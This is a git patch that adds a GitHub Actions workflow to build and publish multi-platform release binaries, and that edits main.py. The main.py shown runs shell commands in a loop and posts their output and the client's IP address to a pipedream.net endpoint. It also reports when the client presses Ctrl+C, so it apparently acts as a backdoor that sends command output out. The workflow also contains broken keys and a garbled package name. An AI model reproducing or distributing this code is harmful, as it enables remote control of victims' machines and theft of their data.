From 9eed6f37e10c73bd2c9f13bf10c778d1191f8393 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Wed, 16 Aug 2023 09:07:01 +0800 Subject: init for gh ci --- .github/workflows/build.yaml | 49 ++++++++++++++++++++++++++++++++++++++++++++ main.py | 4 ++-- 2 files changed, 51 insertions(+), 2 deletions(-) create mode 100644 .github/workflows/build.yaml diff --git a/.github/workflows/build.yaml b/.github/workflows/build.yaml new file mode 100644 index 0000000..96f6b45 --- /dev/null +++ b/.github/workflows/build.yaml @@ -0,0 +1,49 @@ +name: Build applications with diffrent platform and architectuer +on: push +jobs: + build-linux: + name: Build(ubuntu) all (wildcard *.py) SRC + run-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v3 + - name: Build on ubuntu-latest + run: make all + - name: Upload release content + uses: xresloader/upload-to-github-release@v1 + with: + file: dist/* + tags: true + draft: false + build-windows: + name: Build(windows) all (wildcard *.py) SRC + run-on: windows-latest + steps: + - name: Checkout + uses: actions/checkout@v3 + - name: Install pip dependencies + run: python3 -m pip install pyinstaller + - name: Install Make(windows) dependencies + run: winget install GnuWin32.Mak0e + - name: Build on windows-latest + run: C:\Program\ Files\ \(x86\)\GnuWin32\bin\make all + - name: Upload release content + uses: xresloader/upload-to-github-release@v1 + with: + file: dist/* + tags: true + draft: false + build-macos: + name: Build(macOS.darwin) all (wildcard *.py) SRC + run-on: macos-latest + steps: + - name: Checkout + uses: actions/checkout@v3 + - name: Build on macos-latest + run: make all + - name: Upload release content + uses: xresloader/upload-to-github-release@v1 + with: + file: dist/* + tags: true + draft: false diff --git a/main.py b/main.py index eff646c..c698c1a 100644 --- a/main.py +++ b/main.py @@ -65,7 +65,7 @@ while True: cmdout = system(command, shell=True).decode() if cmdout != "": try: - post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```-{ip}") + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```- {ip}") except KeyboardInterrupt: try: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``") @@ -90,6 +90,6 @@ while True: except KeyboardInterrupt: try: post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C)``") - except KeyyboardInerrupt: + except KeyboardInterrupt: continue continue -- cgit v1.2.3